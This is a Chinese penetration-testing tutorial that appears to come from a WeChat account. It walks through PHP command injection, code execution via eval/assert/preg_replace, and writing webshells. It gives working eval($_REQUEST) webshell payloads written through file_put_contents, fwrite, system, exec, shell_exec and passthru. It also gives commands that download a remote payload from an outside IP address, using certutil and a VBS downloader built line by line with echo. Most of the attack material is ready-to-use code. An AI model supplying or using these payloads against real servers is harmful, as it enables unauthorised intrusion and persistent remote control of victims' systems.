公眾號:白帽子左一
專注分享滲透經(jīng)驗(yàn),干貨技巧...
本文由團(tuán)隊(duì)手電筒分享,如果你還是個小白擔(dān)心看不懂,沒關(guān)系,“三步寫馬””如何上傳木馬”“如何拿下服務(wù)器并妥善管理”等實(shí)戰(zhàn)內(nèi)容可以結(jié)合視頻觀看,視頻演示先從原理,再到實(shí)操演示,一步步清晰明了,更易吸收,視頻私信我
php
一.命令執(zhí)行
命令執(zhí)行(注入)常見可控位置情況有下面幾種:
system("$arg"); //可控點(diǎn)直接是待執(zhí)行的程序
如果我們能直接控制$arg,那么就能執(zhí)行執(zhí)行任意命令了。
system("/bin/prog $arg"); //可控點(diǎn)是傳入程序的整個參數(shù)
我們能夠控制的點(diǎn)是程序的整個參數(shù),我們可以直接用&& || 或 | 等等,利用與、或、管道命令來執(zhí)行其他命令(可以涉及到很多l(xiāng)inux命令行技巧)。
system("/bin/prog -p $arg"); //可控點(diǎn)是傳入程序的某個參數(shù)的值(無引號包裹)
我們控制的點(diǎn)是一個參數(shù),我們也同樣可以利用與、或、管道來執(zhí)行其他命令,情境與二無異。
system("/bin/prog -p="$arg"");//可控點(diǎn)是傳入程序的某個參數(shù)的值(有雙引號包裹)
這種情況壓力大一點(diǎn),有雙引號包裹。
如果引號沒有被轉(zhuǎn)義,我們可以先閉合引號,成為第三種情況后按照第三種情況來利用,如果引號被轉(zhuǎn)義(addslashes)、我們也不必著急。
linux shell 環(huán)境下雙引號中間的變量也是可以被解析的,我們可以在雙引號內(nèi)利用反引號執(zhí)行任意命令 id
system("/bin/prog --p='$arg'"); //可控點(diǎn)是傳入程序的某個參數(shù)的值(有單引號包裹)
這是最困難的一種情況
因?yàn)閱我杻?nèi)只是一個字符串,我們要先閉合單引號才可以執(zhí)行命令。
如:system(“/bin/prog –p=’aaa’ | id”)
在漏洞檢測中,除了有回顯的命令
還可以使用盲打的方式,比如curl遠(yuǎn)程機(jī)器的某個目錄(看access.log),或者通過DNS解析的方式獲取到漏洞機(jī)器發(fā)出的請求。
當(dāng)我們確定了OS命令注入漏洞后,通常可以執(zhí)行一些初始命令來獲取有關(guān)受到破壞的系統(tǒng)的信息。
以下是在Linux和windows平臺上常用的一些命令的摘要:
命令目的 |
linux |
windows |
當(dāng)前用戶名 |
whoami |
whoami |
操作系統(tǒng) |
uname -a |
ver |
網(wǎng)絡(luò)配置 |
ifconfig |
ipconfig /all |
網(wǎng)絡(luò)連接 |
netstat -an |
netstat -an |
運(yùn)行進(jìn)程 |
ps -ef |
tasklist |
命令分隔符
在Linux上, ; 可以用 |、|| 代替
;前面的執(zhí)行完執(zhí)行后面的
|是管道符,顯示后面的執(zhí)行結(jié)果
||當(dāng)前面的執(zhí)行出錯時執(zhí)行后面的
可用**%0A和 n**換行執(zhí)行命令
在Windows上,不能用 ; 可以用&、&&、|、||代替
&前面的語句為假則直接執(zhí)行后面的
&&前面的語句為假則直接出錯,后面的也不執(zhí)行
|直接執(zhí)行后面的語句
||前面出錯執(zhí)行后面的
PHP 支持一個執(zhí)行運(yùn)算符:反引號(``) PHP 將嘗試將反引號中的內(nèi)容作為 shell 命令來執(zhí)行,并將其輸出信息返回
<?php echo `whoami`;?>
效果與函數(shù) shell_exec() 相同,都是以字符串的形式返回一個命令的執(zhí)行結(jié)果,可以保存到變量中
二.代碼執(zhí)行
此處以php為例,其它語言也存在這類利用。
(1) preg_replace()函數(shù):
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [,int $limit =-1[,int&$count ]])
當(dāng)$pattern處存在e修飾符時,$replacement 會被當(dāng)做php代碼執(zhí)行。
(2)mixed call_user_func( callable $callbank [ , mixed $parameter [ , mixed
$…):
第一個參數(shù)為回調(diào)函數(shù),第二個參數(shù)是回調(diào)函數(shù)的參數(shù)


(3)eval()和assert():
當(dāng)assert()的參數(shù)為字符串時 可執(zhí)行PHP代碼
【區(qū)分】:
eval(" phpinfo(); ");【√】eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】assert(" phpinfo() ");【√】
三.反序列化
php反序列化導(dǎo)致RCE的原理及利用,參考專題文章:

文庫 | 反序列化漏洞匯總
四.通過代碼執(zhí)行或命令執(zhí)行寫shell
代碼執(zhí)行寫shell
當(dāng)遇到一個可以代碼執(zhí)行的位置時,我們可以通過寫webshell來進(jìn)行進(jìn)一步滲透
1.file_put_contents函數(shù)
file_put_contents函數(shù)格式為file_put_contents(filename,data)
指定寫入文件名和寫入文件的數(shù)據(jù)
可以通過這個函數(shù)去寫入數(shù)據(jù)
這里用了網(wǎng)上的漏洞測試的平臺
測試語句為:
file_put_contents('gt.php','<?php eval($_REQUEST[5]);?>');

訪問文件

2.fopen() 創(chuàng)建文件函數(shù)
fopen函數(shù),格式為fopen(filename,mode) 前面是文件名,后面是規(guī)定要求到該文件/流的訪問類型
它的作用是打開文件或url,這里當(dāng)后續(xù)命令為w,或W+ 時,當(dāng)文件不存在的話就會新建一個文件
然后再用fwrite去寫入數(shù)據(jù)
fwrite()寫入文件函數(shù),格式為fwrite(file,string),這里file是文件名,string是寫入的字符串
這里注意如果是通過assert函數(shù)去代碼執(zhí)行,那么只允許一條語句去執(zhí)行
這里可以把兩個命令寫一起
例如
fwrite(fopen('z23.php','a'),'<?php phpinfo(); ?>');
執(zhí)行效果如下
執(zhí)行語句
fwrite(fopen('z23.php','a'),'<?php phpinfo(); ?>');

訪問文件

3.fputs函數(shù)
Fputs函數(shù)也是php里一個用于寫入文件的函數(shù),它其實(shí)是fwrite的別名
基本用法和fwrite一樣
測試語句為
fputs(fopen('tk.php','w'),'<?php phpinfo();?>');
執(zhí)行語句
fputs(fopen('tk.php','w'),'<?php phpinfo();?>');

訪問文件

4.通過執(zhí)行命令執(zhí)行函數(shù)去寫shell
通過代碼執(zhí)行漏洞去執(zhí)行代碼腳本調(diào)用操作系統(tǒng)命令
常用函數(shù)有
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
這里我們只挑選其中部分來測試,其他的道理差不多
4.1、首先為system()
測試語句為
system(' echo "<?php @eval($_REQUEST[8])?>" >pp.php ');

然后訪問文件測試下

測試完成
4.2、exec()函數(shù)
測試語句如下
exec(' echo "<?php @eval($_REQUEST[8])?>" >ppl.php ');
在本地執(zhí)行下

訪問生成文件

4.3、shell_exec()函數(shù)
測試語句為
shell_exec(' echo "<?php @eval($_REQUEST[8])?>" >ppk.php ');
在本地執(zhí)行測試

訪問生成文件

4.4、passthru()函數(shù)
測試語句為
passthru(' echo "<?php @eval($_REQUEST[8])?>" >ppm.php ');
在本地測試

訪問生成文件

命令執(zhí)行寫webshell
通過cmd命令去寫入
通過cmd里的echo去寫入webshell
命令如下
echo "<?php @eval($_REQUEST[8])?>">223.php
執(zhí)行如下

返回頁面如下

訪問223.php

通過命令執(zhí)行去遠(yuǎn)程下載shell
利用windows的certutil命令
例:
certutil -urlcache -split -f http://129.211.169.121/123.php
通過windows的certutil去在外部下載文件
這個certutil是windows系統(tǒng)上預(yù)裝的工具,一般用于校驗(yàn)md5,sha1,sha256,下載文件
執(zhí)行這個需要相當(dāng)高的權(quán)限,
在搭建的服務(wù)器上安裝好環(huán)境
在本地測試一下
執(zhí)行命令
certutil -urlcache -split -f http://129.211.169.121/123.php

得到結(jié)果

得到返回文件

訪問效果如下

通過vbs去建立腳本去下載
vbs是基于visual Basic的腳本語言,一般windows設(shè)備自帶
這里我們通過命令執(zhí)行去寫入腳本,然后再通過命令執(zhí)行去下載shell
測試腳本如下
Set args =Wscript.Arguments
Url="http://129.211.169.121/1234.php"
dim xHttp:Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm:Set bStrm = createobject("Adodb.Stream")
xHttp.Open"GET",Url,False
xHttp.Send
with bStrm
.type =1
.open
.write xHttp.responseBody
.savetofile "12345.php",2
endwith
先再遠(yuǎn)程機(jī)器上設(shè)立一個php文件名為1234.php
內(nèi)容為
<?php
echo “<?php phpinfo();?>”;
?>
為什么要這樣寫呢?
這個腳本是直接讀取遠(yuǎn)程機(jī)器上的文件信息然后寫入到一個文件里,我們通過讀取這個php頁面顯示的語句去獲得shell內(nèi)容
然后我們在頁面里去寫入vbs文件,這里腳本內(nèi)容過長,且有換行,我們通過echo 一條條寫入命令,和前面命令執(zhí)行寫shell一樣
echo Set args =Wscript.Arguments> xxx.vbs
echo Url="http://129.211.169.121/1234.php">>xxx.vbs
echo dim xHttp:Set xHttp = createobject("Microsoft.XMLHTTP")>>xxx.vbs
echo dim bStrm:Set bStrm = createobject("Adodb.Stream")>>xxx.vbs
echo xHttp.Open"GET",Url,False>>xxx.vbs
echo xHttp.Send>>xxx.vbs
echo with bStrm >>xxx.vbs
echo .type =1>>xxx.vbs
echo .open >>xxx.vbs
echo .write xHttp.responseBody >>xxx.vbs
echo .savetofile "12345.php",2>>xxx.vbs
echo endwith>>xxx.vbs
后續(xù)內(nèi)容通過>> 換行寫入
得到xxx.vbs文件

然后在存在命令執(zhí)行處執(zhí)行命令去下載文件
執(zhí)行命令 start wscript -e:vbs xxx.vbs

然后得到文件

去訪問

未完待續(xù)...